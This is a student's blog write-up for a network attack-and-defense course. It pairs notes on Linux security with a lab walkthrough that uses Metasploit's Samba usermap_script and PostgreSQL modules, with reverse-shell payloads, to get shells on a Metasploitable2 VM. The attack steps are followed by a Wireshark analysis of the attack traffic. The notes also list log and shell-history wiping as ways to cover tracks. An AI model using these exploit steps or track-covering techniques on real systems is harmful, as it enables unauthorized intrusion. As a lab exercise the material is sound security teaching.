20199320 2019-2020-2 《网络攻防实践》第8周作业

20199320 2019-2020-2 《网络攻防实践》第8周作业

这个作业属于哪个课程 https://edu.cnblogs.com/campus/besti/19attackdefense
这个作业的要求在哪里 https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10635
我在这个课程的目标是 掌握网络攻防知识及操作
这个作业在哪个具体方面帮助我实现目标 掌握linux平台上的系统攻击技术以及抵御这些攻击的安全机制、防范方法和措施

一、知识点总结

1.1 Linux操作系统基本框架

  • Linux操作系统的发行版本:Ubuntu、Debian、Fedora、CentOS、RHEL、OpenSUSE和Slackware等。

  • Linux操作系统的优势:开源;跨平台的硬件支持;丰富的软件支持;多用户多任务;可靠的安全性;良好的稳定性;完善的网络功能。

  • Linux 操作系统的结构:包括Linux内核,一些GNU运行库和工具,命令行Shell,图形界面X窗口系统及相应桌面环境,并包含数千种从办公包、编译器、文本编辑器、科学工具到网络服务的应用软件。

  • Linux 操作系统内核结构

    Linux 操作系统内核结构示意图如下:

    • 进程与线程管理机制:多用户多进程。
    • 内存管理机制:支持虚拟内存。内存管理模块为进程提供内存分配、内存回收、请求分页和交换页等系统调用服务。每个进程使用两套段描述符来分别访问内核态和用户态的内存空间,在用户态中,代码不可能访问3GB以上的地址空间,如果要访问内核空间,必须通过系统调用或者中断。
    • 文件系统管理机制:Linux内核使用虚拟文件管理VFS机制,支持数十种不同类型的逻辑文件系统。
    • 设备控制机制:Linux的一个基本特点是抽象了设备的处理,所有的硬件设备都像常规文件一样看待。Linux 支持三类硬件设备:字符设备、块设备和网络设备。
    • 网络机制:提供了各种对网络标准的存取和网络硬件的支持。
    • 系统调用机制:允许应用程序透过这层接口来访问硬件设备和其他资源,通过软中断实现。

1.2 Linux操作系统安全机制

  • Linux身份认证机制

    • 用户:包括根用户(拥有至高无上的权限)、普通用户(权限受限)、系统用户(不具有登录功能),用户信息保存在/etc/passwd文件中。
    • 用户组:集合用户来简化用户权限管理,信息保存在/etc/group文件中。
    • 本地登录用户认证机制:init进程启动getty产生虚拟控制台,用户在控制台敲入用户,getty执行login进程进入登录认证,通过Crypt()函数验证口令(这里用到了salt值,和口令一起加密),认证成功后,登录进程会fork相应用户shell的子进程。
    • 远程登录用户认证机制:基于SSH服务,两种方式:基于口令的身份认证;基于非对称密钥的口令认证。基于非对称密钥的身份认证机制能够有效地抵御会话劫持中间人攻击,较基于口令的认证机制更具安全性。
    • Linux的统一身份认证中间件——PAM:用于给不同应用软件、网络服务验证用户身份,支持认证管理、账户管理、密码管理、会话管理。系统管理员通过PAM配置文件(/etc/pam.conf或/etc/pam.d/)来制定身份认证策略;应用服务开发者通过在服务程序中使用PAM API 来实现对认证方法的调用;而PAM服务模块的开发者则利用PAM SPI ( Service Module API)来编写认证模块,将不同的认证机制(如传统的UNIX认证方法、Kerberos、 智能卡认证等)加入到PAM中间件中;PAM核心库(libpam) 则读取配置文件,为整个Linux系统的各种服务来提供身份认证服务。
  • Linux授权与访问控制机制

    在Linux的虚拟文件系统安全模型中,主要通过文件所有者、文件访问权限和-一些特殊权限位来进行系统的授权与访问控制。

    • 文件所有者:可通过chown命令修改。
    • 文件访问权限:其中第1个标志位一般用来区分文件类型, 如“-”表示普通文件、“d"表示目录、“1”表示符号链接、“b”表示块设备文件、“c"表示字符设备等:第2~10这9个标志位字每3个一组分为3组,分别表示文件所有者、用户组以及其他用户对该文件的读(R)、写(W)、执行(X)权限。
    • 文件的特殊执行权限:SUID:从运行者身份提升至所有者权限。SGID:以所有者的组的身份运行。
  • Linux安全审计机制

    linux的安全审计机制通过以下三个日志子系统来实现:

    • 连接时间日志:跟踪谁在何时登录到系统;
    • 进程统计日志:为进程中的基本服务提供命令使用统计;
    • 错误日志记录。

    Linux的日志文件集中在/var/log目录。

1.3 Linux系统远程攻防技术

  • Linux远程口令字猜测攻击

    • 工具:Brutus、THC Hydra、Cain and Abel.

    • 防御:使用强口令字;严格的口令字管理制度;在非标准端口上运行容易被攻击的服务;使用一些口令猜测攻击检测和防御软件;使用防火墙配置。

  • Linux网络服务远程渗透攻击

    • 截至2011Linux系统常见网络服务的安全漏洞及渗透攻击代码如下:

      Samba是用来让Linux等类UNIX的操作系统与微软的Windows系统SMB/CIFS网络协议相连接的网络服务,在TCP 445端口上监听。

    • 防范:禁用不必要的网络服务;选择更安全的网络协议与服务软件,并使用最佳安全实践部署;及时更新网络服务版本;使用xinetd、防火墙为Linux网络服务添加访问控制机制;建立入侵检测与应急响应计划流程。

  • 攻击Linux客户端程序和用户

    • 攻击Linux客户端程序

      互联网用户最常用的客户端程序是Web浏览器和电子邮件客户端,最为流行的Web浏览器莫过于Mozilla基金会提供的Firefox“火狐”浏览器,而最流行的电子邮件客户端软件也是由Mozilla出品的Thunderbird“雷鸟”。这些软件最近的安全漏洞与渗透攻击代码如下:

    • 攻击Linux系统用户

      攻击服务器时获取管理员信息,后通过社会工程学达到渗透攻击。

    • 防范:及时更新客户端软件;提高自身安全意识。

  • 攻击Linux路由器和监视器

    • 配置ip_forward=1 使Linux系统以路由器模式运行,这一过程可能被攻击者实施拒绝服务攻击。
    • 防火墙netfilter模块实现的漏洞可能导致拒绝服务攻击或使用IPv6的分片数据包来构造能绕过过滤规则集的攻击。
    • libpcap抓包库可能遭受发行站点特洛伊木马化攻击;tcpdump可能遭受拒绝服务、 缓冲区溢出、本地特权提升攻击;wireshark漏洞众多;snort可能受到溢出攻击,或导致一些攻击绕过snort检测。
    • 防范:网络管理员应意识到网络和设备的安全性;管理员在构建网络安全防御、检测体系时需要站在攻击者角度。

1.4 Linux系统本地安全攻防技术

  • Linux本地特权提升

    • 破解出用户口令,使用su或sudo进行提升。
    • 发掘并利用su或sudo程序中的漏洞
    • 攻击用户态SUID特权提升漏洞
    • 攻击Linux内核代码特权提升漏洞
    • 从系统中搜索全局可写的敏感文件与目录位置并加以利用
  • 本地特权提升的防范措施

    • 安装软件时评估风险
    • Linux服务器的管理员安全配置系统
    • 使用SELinux等安全增强模块
  • Linux系统上的消踪灭迹

    • /var/log下对messageauthsecurexferlog等日志文件进行修改
    • 通过对.bahs_history文件的清理,清理shell的命令痕迹
  • Linux系统远程控制后门程序

    • Linux系统上植入远程控制后门程序的类型主要有:特洛伊木马化的系统程序、命令行
      后门工具以及图形化后门工具。

二、实践过程

2.1 动手实践: 使用Metasploit进行Linux远程渗透攻击

使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务usermap_script 安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:

(1)启动Metasploit软件,可根据个人喜好使用msfconsole. msfgui. msfweb之一;

(2)使用exploit: exploit/multi/samba/usermap_script 渗透攻击模块;

(3)选择攻击PAYLOAD为远程Shell, (正向或反向连接均可);

(4)设置渗透攻击参数(RHOST, LHOST,TARGET 等);

(5)执行渗透攻击:

(6)查看是否正确得到远程Shell,并查看获得的权限。


  • 用到的主机

    主机 IP
    kali(攻击机) 192.168.200.4
    Metasploitable2-Linux(靶机) 192.168.200.125
  • 首先相互进行ping测试,可以成功。

  • kali中输入msfconsole启动kali里面的msfconsole

  • 选择渗透攻击模块

    • 输入use exploit/multi/samba/usermap_script 选择针对usermap_script 漏洞的渗透攻击模块。
  • 选择攻击负载模块

    • 输入show payloads列举出所有适用的负载模块,如图所示:

    • 然后执行set payload cmd/unix/reverse选择你要用的攻击负载模块。这里我选择了18号(TCP反转)。

  • 配置参数

    • 使用show options 查看需要设置的参数,如图,可见需要配置靶机和攻击机IP:

    • 执行set LHOST 192.168.200.4设置攻击机为kali,set RHOST 192.168.200.125设置靶机为Metasploitable2-Linux,再show options查看是否配置成功,如图:

    • 这里可能会用到show targetsset target [number]配置靶机的操作系统及版本,我这里默认选择的是0号(自动分配),所以不再配置。

  • 开始渗透攻击

    • 输入exploit开始攻击。

    • 输入ifconfig查看靶机IP,与真实IP一致,验证了本次渗透攻击已经成功。执行whoami查看获得权限为root,如图:

2.2 实践作业:攻防对抗实验

攻击方:使用Metasploit选择Metasploitable靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得Root权限。

防守方:使用wireshark监听获得网络攻击的数据包文件,并结合wireshark分析攻击过程,获得攻击者的IP地址,目标IP和端口、攻击发起时间、攻击利用漏洞、使用shellcode,以及成功之后在本地执行命令输入等信息。


  • 攻击方

    • 首先用nessus扫描靶机漏洞,如图:

    • 这里我尝试了对445端口的漏洞CVE-2007-2446进行攻击,选择exploit/solaris/samba/lsa_transnames_heap这个渗透攻击模块攻击成功,但是建立的却是攻击机到192.168.200.2的连接,经过尝试是因为我打开了该虚拟机,关掉就抓不到该IP的包。但是攻击并不成功,一直在循环的请求连接。如图:

    • 按顺序尝试了所有漏洞,幸好这个貌似成功了。具体过程见下。

    • search postgresql查看可供选择模块:

      这里我首先尝试了19年和16年的,都攻击失败,看来还是不要奢求太新的漏洞,选择07年的。

    • 输入show payloads列举出所有适用的负载模块,如图所示:

    • 然后执行set payload 3选择你要用的攻击负载模块。这里我选择了3号(TCP反转)。

    • 执行set LHOST 192.168.200.4设置攻击机为kali,set RHOST 192.168.200.125设置靶机为Metasploitable2-Linux,再show options查看是否配置成功,如图:

      这里也可看到postgres用户的密码:postgres,后面会用到。

    • exploit开始攻击。如图:

      攻击成功。

    • 关于提权,尝试了很多方法,还没有成功。输入sudosu命令都显示postgres is not in the sudoers file. This incident will be reported.查找解决方法:找到sudoers文件进行提权,但是还是有问题。又查到postgres已经是超级管理员,是不是不需要提升到root?又有资料提到如果攻击获得的shell权限不是root级别的,需要继续使用本地溢出进行提权,本人对这些漏洞信息掌握很少,还在研究中。

  • 防守方

    • 对刚开始建立TCP三次握手过程中提出连接请求的数据包中分析,如图:

      可得,攻击者IP:192.168.200.4 攻击者端口:44431

      目标IP:192.168.200.125 目标端口:5432

    • 查看建立TCP连接的时间,如图:

      得出攻击发起时间为美国东部夏季时间Apr 19, 2020 21:51:36.474697769

    • 接着看下面数据包,建立完三次握手就有大量PGSQL包,推测是针对postgresql数据库发出的攻击。

    • 观察PGSQL包,信息都包含R/S/Q/C等字符,跟踪TCP流发现这些字符是sql语言的一些标志,如每个攻击机发起的PGSQL的Q后面都紧跟着表示请求的sql语句。如图:

    • 查看对方使用的shellcode。追踪PGSQL的tcp流:

      攻击机多次搜索靶机postgres数据库的信息,后又对loid=16398的信息进行了删除,最后又插入一行,其中内容有大量密文,后面备注使用base64加密,于是解密得到插入的内容为:

    • 追踪含[PSH]有数据传输的TCP包,可以得到攻击机在本地执行的命令,如图:

三、学习中遇到问题及解决

  • 问题1:实践2.2找不到可以成功攻击的漏洞。
  • 解决方法:既然不想重复实践2.1的攻击,那就静下来多多尝试吧。几乎把nessus扫出来的漏洞都尝试了,悲桑,都不能完全成功。最后选择可以成功但是获取不到root权限的postgresql的漏洞做了实验。
  • 问题2:输入sudosu命令都显示postgres is not in the sudoers file. This incident will be reported.
  • 解决方法:按照搜到的资料还是解决不了。

四、实践总结

本次实践时间都花在了找可以成功的漏洞上,为什么都成功不了呢?好在有一个可以攻击只是不会获取root权限的漏洞。看了一下别的同学的博客,也遇到了同样的问题。查资料,有的说postgres已经是超级管理员,不能提升到root;又有资料提到如果攻击获得的shell权限不是root级别的,需要继续使用本地溢出进行提权,本人对这些漏洞信息掌握很少,慢慢研究中.......

五、参考文献

posted @ 2020-04-20 12:25  梁旭20199320  阅读(372)  评论(0编辑  收藏  举报